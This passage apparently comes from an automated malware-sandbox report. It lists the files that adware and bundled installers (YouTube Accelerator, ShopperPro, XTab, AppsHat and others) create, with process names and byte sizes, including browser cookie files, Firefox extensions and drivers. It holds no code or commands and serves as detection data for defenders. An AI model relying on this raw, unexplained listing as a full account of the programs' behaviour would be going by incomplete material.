C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[1].htm (1056 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\799c97afbeb52f4eabf469c6ed8ad1c0[1].htm (48928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\78F8.tmp (79808 bytes)

The process YouTubeAccelerator.exe:3396 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_628.log_tmp (815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk433C.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4445.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2448_YouTubeAcceleratorService.log_tmp (43 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (3677 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk446A.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_628_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4420.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3396.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_628_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk429C.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_628_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk431A.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4443.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2448.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4457.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4459.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2408_setup.log_tmp (18 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (230297 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4353.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk433E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3396.log (79257 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4351.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (10 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\$ConvertToNonresident (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4432.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4340.tmp (1 bytes)

The process wpm_v20.0.0.1714_0204.exe:488 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)

The process ins_yta.exe:1652 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBF517.tmp (144 bytes)

The process appshat_generic.exe:796 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe (12408 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68A.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\appshat.exe (13996 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\webplayer_installer.exe (8405 bytes)

The process testlsp.exe:628 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_628_testlsp.log (125754 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_628_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_628.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_628_testlsp.log (150 bytes)

The process powershell.exe:2344 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z51SIIPGTV6QB4BFG2AV.temp (196 bytes)

The process powershell.exe:916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6E5ULPSTC70TD06JH5AI.temp (196 bytes)

The process powershell.exe:3748 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y9NS1IKEBM4V82G0XT06.temp (196 bytes)

The process setup.exe:3592 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\AccDownload.dll (11359 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35507 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz992.tmp (344291 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\jsdrv.exe (100669 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (45051 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process setup.exe:2408 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\2.zip (12302 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\BFVUpdateM.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\wpm_v20.0.0.1714_0204.exe (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\1.zip (32315 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\ffsearch_toolbar!1.0.0.1027.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\1[1].zip (186050 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\2[1].zip (47341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\STab_Down_6.0.6.8.exe (3616 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2408_setup.log (99141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\422.db (272 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\MessageBox.xml (3 bytes)

The process HPNotify.exe:1280 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process STab_Down_6.0.6.8.exe:3600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\XTab_4.0.2.1716[1].exe (219594 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\XTab_v4.0.exe (46591 bytes)

The process cmdshell.exe:3164 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process jsdrv.exe:3420 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BPZ3PB95.txt (298 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7KFVGU4R.txt (515 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5QBLHZZ1.txt (287 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MWDNOPUF.txt (307 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\6L5Z50EJ.txt (103 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\77HVLYO6.txt (366 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\80AYVYR4.txt (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HC7A3TV3.txt (637 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UMU0H3CE.txt (96 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\05MHQZN2.txt (119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\19GMN6LJ.txt (542 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\6QAQR876.txt (100 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QQ391TIC.txt (136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UVIEL5XA.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TYRM92ZD.txt (372 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1DXDC258.txt (198 bytes)

The process ShopperPro.exe:2220 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe (22786 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process WebPlayer.exe:3932 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\analytics[1].js (16891 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\a64a4b5c68c364d30083fbd0b0363585[1].png (25068 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bbbde9554589bda63791709a6785e0a3[1].png (11355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V20RILHC.txt (225 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\13ca8e322e15bc394d66a37bec12e3b4[1].png (36125 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\d586df222f5069b6c396373d67d0163b[1].png (35968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\36d7cd00f07003a67021237993257d08[1].png (9538 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (28126 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\52d5414e7372639389ab7e9e4d479aee[1].png (21779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\1759703220576e41cab39feb18a11b14[1].png (8158 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ddb3b88cf98eb0220c9e6c252e376749[1].png (14175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0OGBS62I.txt (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\23428f8768d928d2bd45dd3b0c4d0057[1].png (25738 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4f263f4be4c4396c9078d1874c05b928[1].png (5568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\07fce0a4ff78cc7e6376e227f046ce06[1].png (32994 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\b85261679e262228a562f693b3e6ef6f[1].png (30169 bytes)
